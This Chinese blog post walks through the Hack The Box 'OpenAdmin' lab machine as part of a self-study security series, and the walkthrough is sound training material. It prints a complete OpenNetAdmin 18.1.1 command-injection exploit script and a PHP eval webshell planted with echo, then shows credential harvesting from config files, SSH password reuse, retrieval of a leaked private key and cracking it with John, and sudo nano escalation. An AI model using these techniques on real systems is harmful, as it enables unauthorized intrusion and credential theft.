您的位置:首页 > 理论基础 > 计算机网络

[网络安全自学篇] 六十三.hack the box渗透之OpenAdmin题目及蚁剑管理员提权(四)

2020-03-27 19:03 866 查看

在撰写这篇文章之前,我先简单分享下hack the box实验感受。hack the box是一个在线渗透平台,模拟了真实环境且难度较大,各种Web渗透工具及操作串联在一起,挺有意思的。本文详细讲解了hack the box机器配置,通过OpenAdmin题目分享管理员权限Flag获取流程,希望对您有所帮助。同时,该网站题目细节不便于透露,推荐大家亲自去尝试,本文更多的分享一些思想。整体流程如下:

  • Machines环境配置
  • Nmap端口扫描
  • Gobuster目录扫描
  • opennetadmin后台泄露
  • 蚁剑一句话木马获取Webshell
  • 敏感文件分析及获取User
  • HASH解密和权限提升
  • John获取私钥及ROOT shell提权

作者作为网络安全的小白,分享一些自学基础教程给大家,主要是关于安全工具和实践操作的在线笔记,希望您们喜欢。同时,更希望您能与我一起操作和进步,后续将深入学习网络安全和系统安全知识并分享相关实验。总之,希望该系列文章对博友有所帮助,写文不易,大神们不喜勿喷,谢谢!如果文章对您有帮助,将是我创作的最大动力,点赞、评论、私聊均可,一起加油喔~

文章目录

  • 三.蚁剑提取Webshell
  • 四.源码分析及私钥获取
  • 五.总结
  • PS:本文参考了安全网站和参考文献中的文章(详见参考文献),并结合自己的经验和实践进行撰写,也推荐大家阅读参考文献。

    软件安全:https://github.com/eastmountyxz/Software-Security-Course
    其他工具:https://github.com/eastmountyxz/NetworkSecuritySelf-study
    基础工具:https://github.com/eastmountyxz/Security-Software-Based


    声明:本人坚决反对利用教学方法进行犯罪的行为,一切犯罪行为必将受到严惩,绿色网络需要我们共同维护,更推荐大家了解它们背后的原理,更好地进行防护。

    前文学习:
    [网络安全自学篇] 一.入门笔记之看雪Web安全学习及异或解密示例
    [网络安全自学篇] 二.Chrome浏览器保留密码功能渗透解析及登录加密入门笔记
    [网络安全自学篇] 三.Burp Suite工具安装配置、Proxy基础用法及暴库示例
    [网络安全自学篇] 四.实验吧CTF实战之WEB渗透和隐写术解密
    [网络安全自学篇] 五.IDA Pro反汇编工具初识及逆向工程解密实战
    [网络安全自学篇] 六.OllyDbg动态分析工具基础用法及Crakeme逆向
    [网络安全自学篇] 七.快手视频下载之Chrome浏览器Network分析及Python爬虫探讨
    [网络安全自学篇] 八.Web漏洞及端口扫描之Nmap、ThreatScan和DirBuster工具
    [网络安全自学篇] 九.社会工程学之基础概念、IP获取、IP物理定位、文件属性
    [网络安全自学篇] 十.论文之基于机器学习算法的主机恶意代码
    [网络安全自学篇] 十一.虚拟机VMware+Kali安装入门及Sqlmap基本用法
    [网络安全自学篇] 十二.Wireshark安装入门及抓取网站用户名密码(一)
    [网络安全自学篇] 十三.Wireshark抓包原理(ARP劫持、MAC泛洪)及数据流追踪和图像抓取(二)
    [网络安全自学篇] 十四.Python攻防之基础常识、正则表达式、Web编程和套接字通信(一)
    [网络安全自学篇] 十五.Python攻防之多线程、C段扫描和数据库编程(二)
    [网络安全自学篇] 十六.Python攻防之弱口令、自定义字典生成及网站暴库防护
    [网络安全自学篇] 十七.Python攻防之构建Web目录扫描器及ip代理池(四)
    [网络安全自学篇] 十八.XSS跨站脚本攻击原理及代码攻防演示(一)
    [网络安全自学篇] 十九.Powershell基础入门及常见用法(一)
    [网络安全自学篇] 二十.Powershell基础入门及常见用法(二)
    [网络安全自学篇] 二十一.GeekPwn极客大赛之安全攻防技术总结及ShowTime
    [网络安全自学篇] 二十二.Web渗透之网站信息、域名信息、端口信息、敏感信息及指纹信息收集
    [网络安全自学篇] 二十三.基于机器学习的恶意请求识别及安全领域中的机器学习
    [网络安全自学篇] 二十四.基于机器学习的恶意代码识别及人工智能中的恶意代码检测
    [网络安全自学篇] 二十五.Web安全学习路线及木马、病毒和防御初探
    [网络安全自学篇] 二十六.Shodan搜索引擎详解及Python命令行调用
    [网络安全自学篇] 二十七.Sqlmap基础用法、CTF实战及请求参数设置(一)
    [网络安全自学篇] 二十八.文件上传漏洞和Caidao入门及防御原理(一)
    [网络安全自学篇] 二十九.文件上传漏洞和IIS6.0解析漏洞及防御原理(二)
    [网络安全自学篇] 三十.文件上传漏洞、编辑器漏洞和IIS高版本漏洞及防御(三)
    [网络安全自学篇] 三十一.文件上传漏洞之Upload-labs靶场及CTF题目01-10(四)
    [网络安全自学篇] 三十二.文件上传漏洞之Upload-labs靶场及CTF题目11-20(五)
    [网络安全自学篇] 三十三.文件上传漏洞之绕狗一句话原理和绕过安全狗(六)
    [网络安全自学篇] 三十四.Windows系统漏洞之5次Shift漏洞启动计算机
    [网络安全自学篇] 三十五.恶意代码攻击溯源及恶意样本分析
    [网络安全自学篇] 三十六.WinRAR漏洞复现(CVE-2018-20250)及恶意软件自启动劫持
    [网络安全自学篇] 三十七.Web渗透提高班之hack the box在线靶场注册及入门知识(一)
    [网络安全自学篇] 三十八.hack the box渗透之BurpSuite和Hydra密码爆破及Python加密Post请求(二)
    [网络安全自学篇] 三十九.hack the box渗透之DirBuster扫描路径及Sqlmap高级注入用法(三)
    [网络安全自学篇] 四十.phpMyAdmin 4.8.1后台文件包含漏洞复现及详解(CVE-2018-12613)
    [网络安全自学篇] 四十一.中间人攻击和ARP欺骗原理详解及漏洞还原
    [网络安全自学篇] 四十二.DNS欺骗和钓鱼网站原理详解及漏洞还原
    [网络安全自学篇] 四十三.木马原理详解、远程服务器IPC$漏洞及木马植入实验
    [网络安全自学篇] 四十四.Windows远程桌面服务漏洞(CVE-2019-0708)复现及详解
    [网络安全自学篇] 四十五.病毒详解及批处理病毒制作(自启动、修改密码、定时关机、蓝屏、进程关闭)
    [网络安全自学篇] 四十六.微软证书漏洞CVE-2020-0601 (上)Windows验证机制及可执行文件签名复现
    [网络安全自学篇] 四十七.微软证书漏洞CVE-2020-0601 (下)Windows证书签名及HTTPS网站劫持
    [网络安全自学篇] 四十八.Cracer第八期——(1)安全术语、Web渗透流程、Windows基础、注册表及黑客常用DOS命令
    [网络安全自学篇] 四十九.Procmon软件基本用法及文件进程、注册表查看
    [网络安全自学篇] 五十.虚拟机基础之安装XP系统、文件共享、网络快照设置及Wireshark抓取BBS密码
    [网络安全自学篇] 五十一.恶意样本分析及HGZ木马控制目标服务器
    [网络安全自学篇] 五十二.Windows漏洞利用之栈溢出原理和栈保护GS机制
    [网络安全自学篇] 五十三.Windows漏洞利用之Metasploit实现栈溢出攻击及反弹shell
    [网络安全自学篇] 五十四.Windows漏洞利用之基于SEH异常处理机制的栈溢出攻击及shell提取
    [网络安全自学篇] 五十五.Windows漏洞利用之构建ROP链绕过DEP并获取Shell
    [网络安全自学篇] 五十六.i春秋老师分享小白渗透之路及Web渗透技术总结
    [网络安全自学篇] 五十七.PE文件逆向之什么是数字签名及Signtool签名工具详解(一)
    [网络安全自学篇] 五十八.Windows漏洞利用之再看CVE-2019-0708及Metasploit反弹shell
    [网络安全自学篇] 五十九.Windows漏洞利用之MS08-067远程代码执行漏洞复现及shell深度提权
    [网络安全自学篇] 六十.Cracer第八期——(2)五万字总结Linux基础知识和常用渗透命令
    [网络安全自学篇] 六十一.PE文件逆向之数字签名详细解析及Signcode、PEView、010Editor、Asn1View等工具用法(二)
    [网络安全自学篇] 六十二.PE文件逆向之PE文件解析、PE编辑工具使用和PE结构修改(三)


    前文欣赏:
    [渗透&攻防] 一.从数据库原理学习网络攻防及防止SQL注入
    [渗透&攻防] 二.SQL MAP工具从零解读数据库及基础用法
    [渗透&攻防] 三.数据库之差异备份及Caidao利器
    [渗透&攻防] 四.详解MySQL数据库攻防及Fiddler神器分析数据包


    一.HTB配置Machines

    Hack The Box是一个在线平台,允许测试您的渗透技能和代码,并与其他类似兴趣的成员交流想法和方法。它包含一些不断更新的挑战,并且模拟真实场景,其风格更倾向于CTF挑战。也推荐读者试试Vulnhub。注册登录后有地图炮(attack maps)、在线人数及设备、Web渗透真实场景等。官方网址:https://www.hackthebox.eu/

    前面我们介绍了Challenge中Web渗透题目,它类似于CTF小测试。接下来我们看看Machines类型题目,它更接近于真实环境。

    靶场地址:https://www.hackthebox.eu/home/machines


    HTB建议使用VirtualBox或VMware虚拟机,推荐的操作系统是Parrot Security Edition或Kali Linux,下面作者讲解Machines配置过程。

    第一步,配置openv * n。正式开始之前,需要在本地配置Hack The Box专用的V*N才能连接到靶场。
    进入左侧的Labs-Access页签,HTB已经在Getting Started详细说明了连接方法,建议使用Linux虚拟机进行渗透测试实验。



    第二步,在kali下安装相关扩展包。

    注意:由于限制,全文 “V*N” 中均用 “ * ” 代替 “ P ” 。

    apt-get install network-manager-open*n
    apt-get install network-manager-openv*n-gnome
    apt-get install network-manager-pptp
    apt-get install network-manager-pptp-gnome
    apt-get install network-manager-strongswan
    apt-get install network-manager-v*nc
    apt-get install network-manager-v*nc-gnome

    安装如下图所示:


    第三步,在access页面点击here下载openv*n配置文件。
    下载地址:https://www.hackthebox.eu/home/htb/access

    将文件下载复制至Kali系统某个目录中,如下图所示。

    Kali系统如果没有openv*n,则调用如下命令进行安装。

    sudo apt-get install openv*n


    第四步,在终端中调用命令安装已下载的配置文件,需要在root权限中运行。

    openv*n eastmountyxz.ov*n

    连接成功后Hack The Box网页会在access页面看到connected打勾,包括相关的IP地址。

    注意,执行成功后不要关闭终端,重新打开一个终端进行后续测试。


    第五步,返回网站,点开machines->Active,选择相关题目进行渗透试验。

    同构IP地址打开网页如下图所示:

    如果您的网站无法访问,可能是以下问题,也可能是网络问题。

    注意,开启对应1337端口。

    • 检查防火墙的状态:sudo ufw status
    • 设置启动ufw防火墙:sudo ufw enable
    • 开放22/TCP端口:sudo ufw allow 22/tcp
    • 开放53端口(tcp/udp):sudo ufw allow 53
    • 查看防火墙状态:sudo ufw status


    二.OpenAdmin渗透

    目标地址:10.10.10.171(Linux)
    难度级别:简单(对读者来说,真实的非常受用,在我心中是困难&有趣级别)
    目标任务:找到靶机上的user.txt和root.txt。
    目标网站:如下图所示。

    对应题目信息:


    当我们看到一个网站之后,首先进行相关的注入分析和信息收集,包括端口扫描、目录扫描、人工注入、万能密码、弱口令等测试。

    1.Nmap端口扫描

    目标网站默认服务是Apache的默认页面,在网址后面随便加了一个路径,报错信息显示是 Apache/2.4.29 (Ubuntu) Server at 10.10.10.171 Port 80。暂无相关信息,我们通过Nmap探测开放端口。

    nmap 10.10.10.171

    使用Nmap工具查看目标主机开放的端口号,扫出22(ssh)和80(http)两个端口


    补充:如果目标主机上打开的端口较多时,用户可以指定扫描端口范围,如指定扫描端口号在1~3000之间的端口号,执行命令如下所示:

    nmap 10.10.10.171 -p 1-3000

    同时,Nmap工具还可以指定一个特定端口号来扫描。比如使用Nmap工具指定扫描在192.168.41.*网段内所有开启TCP端口22的主机。执行命令如下所示:

    nmap -p 22 192.168.41.*

    2.目录扫描

    端口都是常用的两个端口,仍然没有头绪,我们接着扫描目录,Kali中常用的工具包括:

    • dirb
    • gobuster

    (1) dirb
    使用small.txt字典扫描目录。您同意可以使用自己的字典库进行目录扫描,甚至可以Python撰写代码递归扫描。

    dirb http://10.10.10.171/ /usr/share/dirb/wordlists/small.txt

    输出结果如下图所示:

    发现music目录。

    浏览器中打开如下图所示:


    (2) gobuster
    Gobuster这款工具基于Go编程语言开发,具备优异的执行效率和并发性能。广大研究人员可使用该工具来对目录、文件、DNS和VHost等对象进行暴力P解和攻击。不同于其他工具,该工具支持同时多扩展名爆破,适合采用多种后台技术的网站。实施子域名扫描时,该工具支持泛域名扫描,并允许用户强制继续扫描,以应对泛域名解析带来的影响。推荐文献:

    PS:这里给读者普及下gobuster的基本用法。由于作者是安全初学者,所以在该系列文章中,每当学到新的工具或好的技巧时,我都会分享出来,可能文章比较啰嗦,但初衷是帮助到初学者,还请各位大佬海涵~

    Gobuster可爆破的对象包括:

    • 目标站点中的URI(目录或文件)
    • DNS子域名(支持通配符)
    • 目标Web服务器的虚拟主机名(VHost)

    下面简单分享Gobuster的安装过程。

    第一步,安装GO环境。
    下载安装包,命令如下,也可以从github下载。

    wget -c https://storage.googleapis.com/golang/go1.11.2.linux-amd64.tar.gz

    下载好安装包后,进行解压及文件夹移动操作,如图所示。

    tar zxzf go1.11.2.linux-amd64.tar.gz
    mv go /usr/local

    由于作者之前创建其他版本,故先删除go文件夹。


    第二步,配置GO环境。
    创建Go语言工作空间。

    mkdir -p $HOME/go
    mkdir -p go

    配置Go语言环境变量,使用Vi打开.bashrc文件,并写入环境变量,保存退出。

    vi ~/.bashrc

    在.bashrc文章中新增变量内容如下,PATH为GO的安装路径,GOPATH为GO语言的工作空间(此目录不能和安装目录同路径)。

    export PATH=$PATH:/usr/local/go/bin
    export GOPATH="$HOME/go"

    立刻生效环境变量。

    source ~/.bashrc

    最后,检验Go语言环境安装是否成功。

    go version
    go

    如下图所示,Kali下的GO环境就安装成功了。


    第三步,配置Gobuster工具。
    当GO环境搭建好之后,我们需要安装Gobuster工具。你就可以直接使用下列命令来下载和安装Gobuster,但总报错。

    go get github.com/OJ/gobuster
    go get && go build
    go install

    作者尝试从Github中下载工具,但安装仍然没成功。哎,还是功力浅了,继续加油!
    下载地址:https://github.com/OJ/gobuster/releases

    gobuster dir -w /usr/share/wordlists/dirb/common.txt -u http://10.10.10.171/

    用Gobuster扫描目标url,最终发现/artwork 和 /music 目录。


    3.Opennetadmin后台泄露

    通过目录扫描发现music目录,我们访问如下图所示,接着登录按钮跳转后台,用户为guest 。

    此时进入的页面如下图所示,发现使用的是Opennetadmin后台。注意,版本信息获取及对应版本漏洞分析也是Web渗透重要的技能。

    第一步,历史版本漏洞分析。
    当你不知道这是什么系统时,可以右键源代码查看框架js代码,然后Google查询,其Opennetadmin系统的版本是v18.1.1。首先查看历史漏洞,我们以guest登录到Opennetadmin系统的后台,分析其是否有垂直提权到admin的方法或者看看有没上传。[参考Catalog 详见文献]

    使用searchsploit找到相关的RCE漏洞 ,参考文章:https://www.exploit-db.com/exploits/47691

    其他大佬的截图有V18.1.1版本漏洞。


    第二步,利用RCE漏洞。
    当我们发现这个版本的RCE漏洞后,我们利用代码getshell。漏洞详见文章:

    将代码复制至Kali系统,即“shell.sh”。

    代码如下:

    # Exploit Title: OpenNetAdmin 18.1.1 - Remote Code Execution
    # Date: 2019-11-19
    # Exploit Author: mattpascoe
    # Vendor Homepage: http://opennetadmin.com/
    # Software Link: https://github.com/opennetadmin/ona
    # Version: v18.1.1
    # Tested on: Linux
    # Exploit Title: OpenNetAdmin v18.1.1 RCE
    # Date: 2019-11-19
    # Exploit Author: mattpascoe
    # Vendor Homepage: http://opennetadmin.com/
    # Software Link: https://github.com/opennetadmin/ona
    # Version: v18.1.1
    # Tested on: Linux
    #!/bin/bash
    URL="${1}"
    while true;do
    echo -n "$ "; read cmd
    curl --silent -d "xajax=window_submit&xajaxr=1574117726710&xajaxargs[]=tooltips&xajaxargs[]=ip%3D%3E;echo \"BEGIN\";${cmd};echo \"END\"&xajaxargs[]=ping" "${URL}" | sed -n -e '/BEGIN/,/END/ p' | tail -n +2 | head -n -1
    done

    接着输入命令进行提取。

    ./shell.sh http://10.10.10.171/ona/
    pwd
    id
    ls

    显示结果如下图所示,服务器环境有PHP,那么就想办法上传一句话木马。同时,敏感目录需要深入分析,注意“/opt/ona/www”是当前路径,后续蚁剑会对应显示。

    注意,如果输入“./shell.sh http://10.10.10.171/ona/”报错。这个因为该文件在Windows下编辑过,在Windows下每一行结尾是\n\r,而Linux下则是\n,所以才会有多出来的\r。使用指令“sed -i ‘s/\r$//’ xxx.sh”,该指令会把 xxx.sh中的\r 替换成空白即可。


    三.蚁剑提取Webshell

    接着我们需要使用中国蚁剑来提取Webshell。蚁剑怎么在Kali下安装和使用呢?我们接着补充。

    1.中国蚁剑安装

    中国蚁剑推荐大家阅读如下文章,它是非常强大的一款渗透工具。

    第一步,下载中国蚁剑可以使用git命令,也可以直接从github中下载。

    git clone https://github.com/antoor/antSword.git
    cd antSword

    作者从官网下载对应的Linux版本。


    第二步,打开Kali终端找到你下载的中国蚁剑压缩包并解压。

    unzip AntSword-Loader-v4.0.3-linux-x64.zip

    解压显示如下图所示:


    第三步,进入中国蚁剑压缩包并打开蚁剑。

    ./AntSword

    蚁剑打开如下图所示:


    第四步,创建一个空文件夹(用全英文名字)。

    然后点击蚁剑“初始化”按钮,找到你新建的文件夹,并选择它进行安装。

    执行结束之后,“./AntSword”会出现这个界面,说明安装成功。


    2.一句话木马和蚁剑提权

    第一步,在命令行中插入一句话木马。

    echo '<?php @eval($_POST['pwd']);?>' >> /opt/ona/www/images/config.php


    第二步,运行蚁剑,右键单击“添加数据”,输入URL地址,连接密码以及编码设置。PHP语言推荐编辑器使用chr加密。

    URL:http://10.10.10.171/ona/images/config.php
    密码:pwd

    接着整个后台显示出来,如下图所示,是不是感受到了蚁剑的强大。但实验还没完,我们还需要继续深度提权。

    当我们将“config.php”下载至本地,可以看到PHP一句话木马。我们是通过命令行插入的该文件,再利用口令和URL连接的Webshell,个人感觉蚁剑比菜刀稳定性更好、更强大。

    此时,Webshell成功提权,但仅普通权限。


    3.蚁剑虚拟终端和敏感文件发现

    第一步,拿到shell之后枚举用户 ,这里右键选择“虚拟终端”。

    第二步,查看用户信息。

    cat /etc/passwd

    看了一下系统用户,有两个比较可疑——jimmy和joanna。

    注意,网络战的配置文件也是我们关注的重点。有些密码是可以作为字典来碰撞系统的其他用户的,fuzz的概率很大。


    第三步,敏感文件分析。
    通过敏感文件分析,我们发现该框架的数据库配置文件位于:

    • local/config/database_settings.inc.php

    我们在 /opt/ona/www/local/config 文件夹下面找到明文密码。

    调用“cat database_settings.inc.php”显示如下所示:

    发现了jimmy或joanna用户的密码,那又怎么使用这个密码呢?

    www-data@openadmin:/opt/ona/www/local/config$ cat database_settings.inc.php
    cat database_settings.inc.php
    <?php
    
    $ona_contexts=array (
    'DEFAULT' =>
    array (
    'databases' =>
    array (
    0 =>
    array (
    'db_type' => 'mysqli',
    'db_host' => 'localhost',
    'db_login' => 'ona_sys',
    'db_passwd' => 'n1nj4W4rri0R!',
    'db_database' => 'ona_default',
    'db_debug' => false,
    ),
    ),
    'description' => 'Default data context',
    'context_color' => '#D3DBFF',
    ),
    );
    ?>

    第四步,SSH尝试使用密码登录 jimmy 和 joanna。
    用数据库的密码测试两个账号,发现密码的用户为jimmy的。

    ssh jimmy@10.10.10.171
    'db_passwd' => 'n1nj4W4rri0R!'

    显示文件权限:


    第五步,目录扫描及用户权限查找。
    我们的目的是找到flag并拿到root shell,去/home目录下发现没有 flag,那可能在另一个账号中。不过拿到这个账号肯定是有用的,至于用处在哪,还没发现,再次收集一波信息。找了一波发现在/var/www/下有一个jimmy用户的文件夹。

    jimmy没有拿user.txt的权限,我们需要拿下joanna用户,在/var/www/下发现了文件夹internal 的所有者为jimmy,对其文件源码进行分析。


    四.源码分析及私钥获取

    当我们发现/var/www/目录中internal文件夹的所有者为jimmy,我们查看其“index.php”和“main.php”源代码,对其进行分析。

    1.获取私钥信息

    第一步,分析index.php代码。
    代码显示如果username和passwd都正确,则会跳转到main.php页面。main.php中会输出joanna这个用户的ssh密钥。我们拿这个hash去cmd5解密。

    index.php源代码如下:

    <?php
    ob_start();
    session_start();
    ?>
    <?
    // error_reporting(E_ALL);
    // ini_set("display_errors", 1);
    ?>
    <html lang = "en">
    <head>
    <title>Tutorialspoint.com</title>
    <link href = "css/bootstrap.min.css" rel = "stylesheet">
    </head>
    <body>
    <h2>Enter Username and Password</h2>
    <div class = "container form-signin">
    <h2 class="featurette-heading">Login Restricted.<span class="text-muted"></span></h2>
    <?php
    $msg = '';
    
    if (isset($_POST['login']) && !empty($_POST['username']) && !empty($_POST['password'])) {
    if ($_POST['username'] == 'jimmy' && hash('sha512',$_POST['password']) == '00e302ccdcf1c60b8ad50ea50cf72b939705f49f40f0dc658801b4680b7d758eebdc2e9f9ba8ba3ef8a8bb9a796d34ba2e856838ee9bdde852b8ec3b3a0523b1') {
    $_SESSION['username'] = 'jimmy';
    header("Location: /main.php");
    } else {
    $msg = 'Wrong username or password.';
    }
    }
    ?>
    </div> <!-- /container -->
    
    <div class = "container">
    <form class = "form-signin" role = "form"
    action = "<?php echo htmlspecialchars($_SERVER['PHP_SELF']);
    ?>" method = "post">
    <h4 class = "form-signin-heading"><?php echo $msg; ?></h4>
    <input type = "text" class = "form-control"
    name = "username"
    required autofocus></br>
    <input type = "password" class = "form-control"
    name = "password" required>
    <button class = "btn btn-lg btn-primary btn-block" type = "submit"
    name = "login">Login</button>
    </form>
    </div>
    </body>
    </html>

    第二步,MD5解密。
    解密出来后为 Revealed。在线解密:https://www.somd5.com/


    第三步,分析main.php源码。
    通过源码分析,发现internal/main.php会输出joanna的ssh私钥。

    源代码:

    <?php # OpenAdmin
    $output = shell_exec("cat /home/joanna/.ssh/id_rsa");
    echo "<pre>$output</pre>";
    ?>
    <html>
    <h3>Don't forget your "ninja" password</h3>
    Click here to logout <a href="logout.php" tite = "Logout">Session
    </html>

    第四步,扫描其他用户的端口。
    现在的问题就是如何Post这个url。直接在浏览器肯定不行,因为默认的路由就是 ona,肯定只能在这个SSH内部,结合这个目录名字internal。但最早我们扫端口只有80和22,接着我们再看一下jimmy用户本地启动的服务,3306不用说了,那大概率就是那个52846。

    netstat -ano | grep 127.0.0.1

    查看网络服务另一种方法,发现一个奇怪的服务端口为52846

    netstat  -anutp


    第四步,POST数据请求。
    猜测其为main.php所在的服务,并且构建curl提交POST请求,从而获得私钥信息。

    curl -d "username=jimmy&password=Revealed" -X POST http://127.0.0.1:52846/main.php

    输出结果如下图所示:

    2.SSH登录管理账号获取user

    ssh_key到手,直接连接jimmy这个账号之前我们还需要知道这个私钥的密码,使用john爆破。

    第一步,将私钥复制到Kali本地。

    -----BEGIN RSA PRIVATE KEY-----
    Proc-Type: 4,ENCRYPTED
    DEK-Info: AES-128-CBC,2AF25344B8391A25A9B318F3FD767D6D
    
    kG0UYIcGyaxupjQqaS2e1HqbhwRLlNctW2HfJeaKUjWZH4usiD9AtTnIKVUOpZN8
    ad/StMWJ+MkQ5MnAMJglQeUbRxcBP6++Hh251jMcg8ygYcx1UMD03ZjaRuwcf0YO
    ShNbbx8Euvr2agjbF+ytimDyWhoJXU+UpTD58L+SIsZzal9U8f+Txhgq9K2KQHBE
    6xaubNKhDJKs/6YJVEHtYyFbYSbtYt4lsoAyM8w+pTPVa3LRWnGykVR5g79b7lsJ
    ZnEPK07fJk8JCdb0wPnLNy9LsyNxXRfV3tX4MRcjOXYZnG2Gv8KEIeIXzNiD5/Du
    y8byJ/3I3/EsqHphIHgD3UfvHy9naXc/nLUup7s0+WAZ4AUx/MJnJV2nN8o69JyI
    9z7V9E4q/aKCh/xpJmYLj7AmdVd4DlO0ByVdy0SJkRXFaAiSVNQJY8hRHzSS7+k4
    piC96HnJU+Z8+1XbvzR93Wd3klRMO7EesIQ5KKNNU8PpT+0lv/dEVEppvIDE/8h/
    /U1cPvX9Aci0EUys3naB6pVW8i/IY9B6Dx6W4JnnSUFsyhR63WNusk9QgvkiTikH
    40ZNca5xHPij8hvUR2v5jGM/8bvr/7QtJFRCmMkYp7FMUB0sQ1NLhCjTTVAFN/AZ
    fnWkJ5u+To0qzuPBWGpZsoZx5AbA4Xi00pqqekeLAli95mKKPecjUgpm+wsx8epb
    9FtpP4aNR8LYlpKSDiiYzNiXEMQiJ9MSk9na10B5FFPsjr+yYEfMylPgogDpES80
    X1VZ+N7S8ZP+7djB22vQ+/pUQap3PdXEpg3v6S4bfXkYKvFkcocqs8IivdK1+UFg
    S33lgrCM4/ZjXYP2bpuE5v6dPq+hZvnmKkzcmT1C7YwK1XEyBan8flvIey/ur/4F
    FnonsEl16TZvolSt9RH/19B7wfUHXXCyp9sG8iJGklZvteiJDG45A4eHhz8hxSzh
    Th5w5guPynFv610HJ6wcNVz2MyJsmTyi8WuVxZs8wxrH9kEzXYD/GtPmcviGCexa
    RTKYbgVn4WkJQYncyC0R1Gv3O8bEigX4SYKqIitMDnixjM6xU0URbnT1+8VdQH7Z
    uhJVn1fzdRKZhWWlT+d+oqIiSrvd6nWhttoJrjrAQ7YWGAm2MBdGA/MxlYJ9FNDr
    1kxuSODQNGtGnWZPieLvDkwotqZKzdOg7fimGRWiRv6yXo5ps3EJFuSU1fSCv2q2
    XGdfc8ObLC7s3KZwkYjG82tjMZU+P5PifJh6N0PqpxUCxDqAfY+RzcTcM/SLhS79
    yPzCZH8uWIrjaNaZmDSPC/z+bWWJKuu4Y1GCXCqkWvwuaGmYeEnXDOxGupUchkrM
    +4R21WQ+eSaULd2PDzLClmYrplnpmbD7C7/ee6KDTl7JMdV25DM9a16JYOneRtMt
    qlNgzj0Na4ZNMyRAHEl1SF8a72umGO2xLWebDoYf5VSSSZYtCNJdwt3lF7I8+adt
    z0glMMmjR2L5c2HdlTUt5MgiY8+qkHlsL6M91c4diJoEXVh+8YpblAoogOHHBlQe
    K1I1cqiDbVE/bmiERK+G4rqa0t7VQN6t2VWetWrGb+Ahw/iMKhpITWLWApA3k9EN
    -----END RSA PRIVATE KEY-----

    “id_rsa”文件如下图所示:


    第二步,利用ssh2john获取哈希,再用john爆破哈希获得密码。
    先用 john 自带脚本转换一下格式,代码如下:

    python /usr/share/john/ssh2john.py id_rsa > ssh

    John全称叫“John the Ripper password cracker(约翰开膛手密码解密)”。
    John the Ripper是一个快速的密码P解程序,目前可用于Unix、Windows、DOS和OpenVMS等。其主要目的是检测弱Unix密码,除了在各种Unix系统上最常见的几种crypt密码哈希类型之外,现在支持的还有Windows LM哈希,以及社区增强版本中的大量其他哈希和密码。

    官方文档:https://github.com/magnumripper/JohnTheRipper

    注意,如果报错“python: can’t open file ‘/usr/share/john/ssh2john.py’: [Errno 2] No such file or directory”,读者可以从github复制源文件即可。

    cp ssh2john.py /usr/share/john

    接着将保存出来的id_rsa转换成john格式,ssh2john.py是把ssh密钥改成john可以识别的格式,使用john爆破–wordlist指定字典。

    python /usr/share/john/ssh2john.py id_rsa > sshjohn --wordlist=/usr/share/wordlists/rockyou.txt ssh
    

    密码为 bloodninjas,如下图所示:


    第三步,利用私钥ssh登录joanna账户。

    ssh -i id_rsa joanna@10.10.10.171

    注意,如果出现“Permissions 0644 for ‘/root/.ssh/id_rsa’ are too open”等错误,需要将权限降到0600即可,代码为“chmod 0600 id_rsa”。

    输入命令和密码bloodninjas,登录joanna账号。

    这样就登陆joanna,在当前目录下有个user.txt里面存着flag。


    第四步,使用 sudo -l 可以发现,下面两个不用密码就可以以root权限执行。

    sudo -l


    第五步,可以执行/bin/nano /opt/priv这些不需要root密码,接着用nano逃逸来提权。
    使用 sudo /bin/nano /opt/priv打开,然后使用ctrl+R来读取 /root/root.txt的内容。

    获取最终结果如下图所示,成功!!!


    五.总结

    这篇基础性文章就此结束,希望文章对您有所帮助。非常感谢师弟他们的推荐,也觉得自己的技术好浅,要学的知识好多。如果您是安全初学者,一步一步学习,多实践多尝试,大牛都是慢慢练成的。这篇文章实验还挺有意思的,而且是多个工具及漏洞的利用,希望能在这个地方看到您的身影,也祝您体会到本次实验的乐趣。

    • OpenAdmin渗透
      Nmap端口扫描
      目录扫描
      Opennetadmin后台泄露
    • 蚁剑提取Webshell
      中国蚁剑安装
      一句话木马和蚁剑提权
      蚁剑虚拟终端和敏感文件发现
    • 源码分析及私钥获取
      获取私钥信息
      SSH登录管理账号获取user

    转眼,自己已经写了63篇安全文章了,非常值得纪念,今后也希望帮到更多的读者。最后,希望博友们多看看来时的路,生活不止有编程和论文,还有太多精彩需要我们去感受,祝好~

    (By:Eastmount 2020-03-27 下午5点写于贵阳 http://blog.csdn.net/eastmount/ )

    参考文献:
    [1] https://www.hackthebox.eu/home/machines
    [2] HTB(Hack The Box)系列—入门指南 - dylan
    [3] hackthebox 初学者教程 - Sunbet_行业观察
    [4] hackthebox OpenAdmin - Catalog
    [5] Hackthebox_OpenAdmin - Aran
    [6] OpenNetAdmin 18.1.1 Remote Code Execution - CXSecurity.com - 安全客
    [7] https://github.com/OJ/gobuster
    [8] kali下安装go环境 - sch01ar
    [9] Kali Linux下go语言环境搭建 - FLy_hps
    [10 ]【渗透测试小白系列】之目录扫描、Nmap的使用及使用Metasploit通过MS17-010获取系统权限
    [11] windows安装中国蚁剑 - rose never fade
    [12] https://github.com/opennetadmin/ona
    [13] Kali 安装中国蚁剑(antSword) - zrools
    [14] https://github.com/magnumripper/JohnTheRipper
    [15] https://cloud.tencent.com/developer/article/1595295

    PS:感谢这些大佬的分享,受益匪浅,也推荐读者阅读这些文献。

    • 点赞 3
    • 收藏
    • 分享
    • 文章举报
    Eastmount 博客专家 发布了449 篇原创文章 · 获赞 6183 · 访问量 494万+ 他的留言板 关注
    内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
    标签: 
    相关文章推荐